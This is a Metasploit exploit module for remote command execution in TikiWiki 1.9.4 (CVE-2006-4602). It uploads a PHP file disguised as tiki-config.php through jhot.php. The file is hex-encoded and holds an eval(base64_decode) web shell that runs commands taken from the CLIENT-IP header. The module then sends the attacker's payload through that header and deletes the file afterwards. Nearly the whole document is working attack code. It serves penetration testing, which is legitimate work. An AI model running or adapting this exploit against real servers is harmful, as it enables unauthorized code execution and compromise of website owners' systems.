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# $Id: tikiwiki_jhot_exec.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TikiWiki jhot Remote Command Execution',
'Description'=> %q{
TikiWiki contains a flaw that may allow a malicious user to execute
arbitrary PHP code. The issue is triggered due to the jhot.php script
not correctly verifying uploaded files. It is possible that the flaw
may allow arbitrary PHP code execution by uploading a malicious PHP
script resulting in a loss of integrity.
The vulnerability was reported in Tikiwiki version 1.9.4.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9929 $',
'References' =>
[
['CVE', '2006-4602'],
['OSVDB', '28456'],
['BID', '19819'],
['URL', 'http://secunia.com/advisories/21733/'],
],
'Privileged' => false,
'Payload'=>
{
'DisableNops' => true,
'Space' => 1024,
'Compat'=>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets'=> [[ 'Automatic', { }]],
'DisclosureDate' => 'Sep 2 2006',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),
], self.class)
end
def check
res = send_request_raw(
{
'uri' => datastore['URI'] + "/tiki-index.php",
'method'=> 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)
http_fingerprint({ :response => res })# check method
if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/))
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
create_temp_file()
command = payload.encoded
exe_command(command)
remove_temp_file()
end
def create_temp_file
url_jhot = datastore['URI'] + "/jhot.php"
scode =
"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
"\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
"\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
"\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
"\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
"\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
"\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
"\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
"\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
"\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
"\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
"\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
"\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
"\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
"\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
"\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
"\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
"\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
"\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
"\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
"\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
"\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
"\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
"\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
"\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
"\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
"\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
"\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
"\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
"\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
"\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
"\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
"\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
"\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
"\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
"\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
"\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
"\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
"\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
"\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
"\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"
data =
"-----------------------------7d529a1d23092a\r\n" +
"Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
scode +
"\r\n" +
"-----------------------------7d529a1d23092a--\r\n"
res = send_request_cgi({
'uri' => url_jhot,
'method'=> 'POST',
'data'=> data,
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',
'Connection' => 'Close',
}
}, 25)
if (res and res.message == "OK")
print_status("Successfully created temporary file.")
else
print_error("Error creating temporary file.")
end
end
def exe_command(cmd)
url_config = datastore['URI'] + "/img/wiki/tiki-config.php"
res = send_request_raw({
'uri' => url_config,
'method'=> 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'CLIENT-IP'=> "#{cmd};",
'Connection' => 'Close',
}
}, 25)
if (res and res.message == "OK" and res.body.match(/my_delim/m))
print_status("The server returned: #{res.code} #{res.message} (#{res.headers['Server']})")
cmd_output = res.body.match(/my_delim(.*)/m)
if (cmd_output)
print_status("Command output from the server :")
print("\n" + cmd_output[1] + "\n")
else
print_error('No command output found. This server may not be vulnerable.')
end
else
print_error("No response from the server")
end
end
def remove_temp_file
url_config = datastore['URI'] + "/img/wiki/tiki-config.php"
res = send_request_raw({
'uri' => url_config,
'method'=> 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'CLIENT-IP'=> 'rm -f tiki-config.php',
'Connection' => 'Close',
}
}, 25)
if (res and res.message == "OK")
print_status("Successfully remove temporary file.")
else
print_error("Error removing temporary file.")
end
end
end
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